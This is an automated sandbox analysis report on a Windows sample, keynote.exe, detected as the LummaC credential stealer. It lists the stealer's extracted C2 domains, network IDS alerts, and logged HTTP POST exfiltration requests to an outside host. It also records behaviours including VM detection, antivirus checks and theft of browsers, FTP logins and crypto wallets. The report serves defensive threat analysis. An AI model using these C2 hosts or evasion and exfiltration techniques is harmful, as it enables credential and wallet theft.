Edit tour

Windows Analysis Report
keynote.exe

Overview

General Information

Sample name:	keynote.exe
Analysis ID:	1617413
MD5:	c917b7129ef904754323b0daeb255461
SHA1:	3b81ee4909706e9a4c8e52521dd26cb65c42d368
SHA256:	a1ef7879bf82edfb76625282ebcc27c24be86b370bcf9fe78064848c47db0cf3
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Joe Sandbox ML detected suspicious sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

keynote.exe (PID: 7324 cmdline: "C:\Users\user\Desktop\keynote.exe" MD5: C917B7129EF904754323B0DAEB255461)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["bzondingmoments.tech", "nestlecompany.world", "mercharena.biz", "generalmills.pro", "stormlegue.com", "blast-hubs.com", "blastikcn.com", "nestlecompany.pro"], "Build id": "PW8ZQN--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2046044393.00000000005B0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Process Memory Space: keynote.exe PID: 7324	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: keynote.exe PID: 7324	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: keynote.exe PID: 7324	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.keynote.exe.790000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-17T22:15:37.726568+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	149.154.167.99	443	TCP
2025-02-17T22:15:38.578633+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.17.68	443	TCP
2025-02-17T22:15:50.803538+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.17.68	443	TCP
2025-02-17T22:15:52.446712+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.17.68	443	TCP
2025-02-17T22:16:01.227746+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	104.21.17.68	443	TCP
2025-02-17T22:16:03.563691+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	104.21.17.68	443	TCP
2025-02-17T22:16:05.906066+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	104.21.17.68	443	TCP
2025-02-17T22:16:07.818289+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	104.21.17.68	443	TCP
2025-02-17T22:16:10.510517+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	104.21.17.68	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-17T22:15:50.313083+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49732	104.21.17.68	443	TCP
2025-02-17T22:15:51.355392+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49733	104.21.17.68	443	TCP
2025-02-17T22:16:11.359519+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49745	104.21.17.68	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-17T22:15:50.313083+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49732	104.21.17.68	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-17T22:16:00.660795+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49735	104.21.17.68	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: nestlecompany.world

Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.2046044393.00000000005B0000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["bzondingmoments.tech", "nestlecompany.world", "mercharena.biz", "generalmills.pro", "stormlegue.com", "blast-hubs.com", "blastikcn.com", "nestlecompany.pro"], "Build id": "PW8ZQN--"}

Multi AV Scanner detection for submitted file

Source: keynote.exe

Virustotal: Detection: 8%

Perma Link

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2046044393.00000000005B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: bzondingmoments.tech
Source: 00000000.00000002.2046044393.00000000005B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: nestlecompany.world
Source: 00000000.00000002.2046044393.00000000005B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: mercharena.biz
Source: 00000000.00000002.2046044393.00000000005B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: generalmills.pro
Source: 00000000.00000002.2046044393.00000000005B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: stormlegue.com
Source: 00000000.00000002.2046044393.00000000005B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: blast-hubs.com
Source: 00000000.00000002.2046044393.00000000005B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: blastikcn.com
Source: 00000000.00000002.2046044393.00000000005B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: nestlecompany.pro

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\keynote.exe

Unpacked PE file: 0.2.keynote.exe.790000.0.unpack

Source: keynote.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: keynote.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: C:\Users\annar\source\repos\WindowsProject8\Release\reschekers32.pdb source: keynote.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49732 -> 104.21.17.68:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49745 -> 104.21.17.68:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 104.21.17.68:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 104.21.17.68:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49733 -> 104.21.17.68:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: bzondingmoments.tech
Source: Malware configuration extractor	URLs: nestlecompany.world
Source: Malware configuration extractor	URLs: mercharena.biz
Source: Malware configuration extractor	URLs: generalmills.pro
Source: Malware configuration extractor	URLs: stormlegue.com
Source: Malware configuration extractor	URLs: blast-hubs.com
Source: Malware configuration extractor	URLs: blastikcn.com
Source: Malware configuration extractor	URLs: nestlecompany.pro

Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 149.154.167.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 104.21.17.68:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.17.68:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 104.21.17.68:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 104.21.17.68:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.17.68:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 104.21.17.68:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.17.68:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 104.21.17.68:443

Source: global traffic	HTTP traffic detected: GET /r32rdsadasdasd HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: t.me
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bzondingmoments.tech
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 43Host: bzondingmoments.tech
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=M4BQYQ1YRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18106Host: bzondingmoments.tech
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BMPV5SCT96DVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 4920Host: bzondingmoments.tech
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PGBIO7SS6362EFG1SYDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20440Host: bzondingmoments.tech
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3Y8XOK8Z4UPF2DCTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2567Host: bzondingmoments.tech
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=KY4NZ0VBIJDEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 549598Host: bzondingmoments.tech
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: bzondingmoments.tech

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /r32rdsadasdasd HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: t.me

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: qodcsxcvbdbtcih.itrw
Source: global traffic	DNS traffic detected: DNS query: bzondingmoments.tech

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bzondingmoments.tech

Source: keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: keynote.exe, 00000000.00000003.1985583676.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000002.2046284034.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010702741.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1986358157.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.
Source: keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	String found in binary or memory: http://x1.c.lencr.org/0
Source: keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	String found in binary or memory: http://x1.i.lencr.org/0
Source: keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1981167391.0000000003014000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: keynote.exe, 00000000.00000003.1986244342.000000000301C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010492004.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000002.2047376125.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2000931458.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2031976355.000000000300C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: keynote.exe, 00000000.00000003.1938897538.0000000003014000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2032347830.0000000002FE6000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1938997907.0000000003014000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bzondingmoments.tech/
Source: keynote.exe, 00000000.00000003.2032141767.0000000003015000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2000931458.0000000003015000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000002.2047376125.0000000003015000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1986262641.0000000003015000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010492004.0000000003015000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1981167391.0000000003014000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bzondingmoments.tech/alse
Source: keynote.exe, 00000000.00000002.2047267989.0000000002FDB000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2001013112.0000000002FD9000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1986262641.0000000003015000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000002.2046284034.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1846700189.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010702741.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010492004.0000000003015000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1981167391.0000000003014000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1938897538.0000000003014000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bzondingmoments.tech/api
Source: keynote.exe, 00000000.00000003.1846700189.000000000066D000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1847132324.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bzondingmoments.tech/apiI
Source: keynote.exe, 00000000.00000003.1846700189.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bzondingmoments.tech/apiZj
Source: keynote.exe, 00000000.00000002.2046284034.000000000067F000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010702741.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bzondingmoments.tech/apij
Source: keynote.exe, 00000000.00000003.2010702741.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bzondingmoments.tech/apint
Source: keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1981167391.0000000003014000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bzondingmoments.tech/h
Source: keynote.exe, 00000000.00000003.2000931458.000000000300C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bzondingmoments.tech/ontrolI
Source: keynote.exe, 00000000.00000003.1846700189.000000000066D000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1847132324.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bzondingmoments.tech/t
Source: keynote.exe, 00000000.00000003.1985471520.0000000002FFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bzondingmoments.tech:443/api
Source: keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1981167391.0000000003014000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: keynote.exe, 00000000.00000003.1986244342.000000000301C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010492004.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000002.2047376125.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2000931458.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2031976355.000000000300C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010492004.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000002.2047376125.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2000931458.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2031976355.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1981167391.0000000003014000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: keynote.exe, 00000000.00000003.1712504183.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qodcsxcvbdbtcih.itrw/
Source: keynote.exe, 00000000.00000003.1712504183.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qodcsxcvbdbtcih.itrw/B
Source: keynote.exe, 00000000.00000003.1712504183.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qodcsxcvbdbtcih.itrw/P
Source: keynote.exe, 00000000.00000003.1712504183.000000000067F000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1712717277.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qodcsxcvbdbtcih.itrw/api
Source: keynote.exe, 00000000.00000003.1712504183.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qodcsxcvbdbtcih.itrw/apiI
Source: keynote.exe, 00000000.00000003.1849674305.00000000033D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 6D9825A5BA1684D6.dat.0.dr	String found in binary or memory: https://support.mozilla.org
Source: 6D9825A5BA1684D6.dat.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: keynote.exe, 00000000.00000003.1958309585.00000000035FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 6D9825A5BA1684D6.dat.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: keynote.exe, 00000000.00000003.1849674305.00000000033D6000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1849512666.000000000305E000.00000004.00000800.00020000.00000000.sdmp, 85210EAE92C8B7A2.dat.0.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: keynote.exe, 00000000.00000003.1849512666.000000000303A000.00000004.00000800.00020000.00000000.sdmp, 85210EAE92C8B7A2.dat.0.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: keynote.exe, 00000000.00000003.1849674305.00000000033D6000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1849512666.000000000305E000.00000004.00000800.00020000.00000000.sdmp, 85210EAE92C8B7A2.dat.0.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
